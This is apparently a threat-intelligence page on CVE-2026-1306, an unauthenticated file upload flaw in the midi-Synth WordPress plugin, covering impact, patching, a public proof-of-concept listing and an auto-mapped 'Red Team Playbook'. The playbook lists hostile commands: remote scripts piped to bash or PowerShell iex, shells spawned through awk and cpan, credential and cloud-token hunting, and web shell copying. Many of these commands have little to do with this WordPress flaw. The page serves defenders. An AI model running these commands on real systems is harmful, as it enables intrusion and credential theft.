CVE-2026-1306
Overview
This vulnerability is an arbitrary file upload flaw caused by the absence of proper validation for file types and extensions in the 'export' AJAX action of the adminkov midi-Synth WordPress plugin. The affected component is the export functionality implemented in the midiSynthConvert.php script, which fails to enforce restrictions on uploaded content. The issue exists in all plugin versions up to and including 1.1.0, allowing unauthenticated requests to bypass expected file validation controls.
Vulnerability Description
The midi-Synth plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type and file extension validation in the 'export' AJAX action in all versions up to, and including, 1.1.0. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible granted the attacker can obtain a valid nonce. The nonce is exposed in frontend JavaScript making it trivially accessible to unauthenticated attackers.
Impact
An unauthenticated attacker can upload arbitrary files to the server hosting the vulnerable midi-Synth plugin by exploiting the exposed nonce and missing validation controls. This capability can facilitate remote code execution if the uploaded files are executed by the server environment. The attack requires no privileges or user interaction, leveraging the publicly accessible AJAX export endpoint. Successful exploitation may lead to full compromise of the affected WordPress site, including data theft, site defacement, or persistent backdoor installation, consistent with the CVSS vector indicating network attack vector, low complexity, and no privileges required.
Solution
Users should upgrade adminkov midi-Synth to a version later than 1.1.0 where the file upload validation issue is resolved. Detailed remediation steps and patch availability are documented in the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/d5b695d7-c690-4748-b218-5699d1aa63bf. The plugin’s source code repository confirms fixes applied post-1.1.0 in midiSynthConvert.php to enforce file type and extension validation. No official workaround is documented; immediate patching is recommended to mitigate the vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the midi-Synth plugin for WordPress arises from inadequate validation of file types and extensions during the 'export' AJAX action. This oversight allows unauthenticated users to upload arbitrary files to the server, potentially leading to severe consequences such as remote code execution. The lack of stringent checks means that an attacker can bypass security measures by exploiting this weakness, particularly since the nonce, which is intended to provide a layer of security, is exposed in frontend JavaScript. This exposure makes it easy for attackers to obtain a valid nonce, further facilitating unauthorized actions on the server.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could craft a malicious request to the 'export' AJAX action, leveraging the absence of file type validation to upload a web shell or other malicious scripts. Once uploaded, these files could be executed on the server, allowing the attacker to gain control over the affected system. Furthermore, since the vulnerability does not require authentication, it opens the door for widespread exploitation, as any individual with knowledge of the vulnerable plugin can attempt to execute an attack. This scenario highlights the ease with which an attacker can manipulate the system, especially in environments where security practices are not rigorously enforced.
The real-world impact of this vulnerability can be significant, particularly for organizations relying on the affected WordPress plugin. Successful exploitation could lead to unauthorized access to sensitive data, defacement of the website, or even complete server compromise. The business risks associated with such incidents include financial losses, reputational damage, and potential legal ramifications due to data breaches. Additionally, the presence of arbitrary file upload vulnerabilities often leads to a chain of further exploits, as attackers may use the initial foothold to pivot to other systems within the network. This cascading effect amplifies the overall risk to the organization.
To detect and mitigate this vulnerability, organizations should implement several strategies. First, regular security audits and vulnerability assessments should be conducted to identify outdated or insecure plugins. Additionally, employing a web application firewall (WAF) can help filter out malicious requests before they reach the server. It is also crucial to apply the principle of least privilege, ensuring that web applications operate with the minimum permissions necessary to function. Furthermore, organizations should consider implementing strict file upload policies, including whitelisting allowed file types and enforcing size limits. Educating developers about secure coding practices can also help prevent similar vulnerabilities in the future.
In conclusion, the vulnerability in the midi-Synth plugin for WordPress represents a critical security risk due to its potential for arbitrary file uploads and subsequent remote code execution. The ease of exploitation, coupled with the significant impact on business operations and data security, necessitates immediate attention from organizations using this plugin. By adopting comprehensive detection and mitigation strategies, businesses can better protect themselves against such vulnerabilities and enhance their overall cybersecurity posture.
CSURFACE threat intelligence has detected a marked escalation in activity targeting CVE-2026-1306, accompanied by the emergence of new public proof-of-concept exploit code. This development significantly lowers the barrier to exploitation by enabling a wider range of threat actors to leverage the vulnerability without requiring advanced technical capabilities. Our telemetry indicates that exploitation attempts are becoming more frequent and automated, as evidenced by the availability of tools that streamline the attack process. Consequently, the risk profile for affected WordPress sites has intensified, elevating the likelihood of successful arbitrary file uploads and potential remote code execution. While the EPSS score reflects this increased threat, the current stable short-term trend suggests that exploitation is consolidating rather than spiking uncontrollably. Defenders should regard this as a critical escalation in the threat landscape, as the combination of exposed nonces and accessible exploit code substantially amplifies the attack surface and operational risk.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
murrez/CVE-2026-1306
PoC list runner for CVE-2026-1306 (WordPress midi-Synth ≤1.1.0): fetches exposed midiSynth_nonce, POSTs export AJAX to d...
|
murrez | 0 | 0 | 2026-04-28 | View |
Threat Feed
3 eventsSighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (7)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-1306 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/d5b695d7-c690-4748-b218-5699d1aa63bf?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/midi-synth/tags/1.1.0/midiSynthConvert.php#L421 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/midi-synth/tags/1.1.0/midiSynthConvert.php#L492 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/midi-synth/tags/1.1.0/midiSynth.php#L121 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/midi-synth/tags/1.1.0/midiSynth.php#L110 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3460788%40midi-synth&new=3460788%40midi-synth&sfp_email=&sfph_mail= |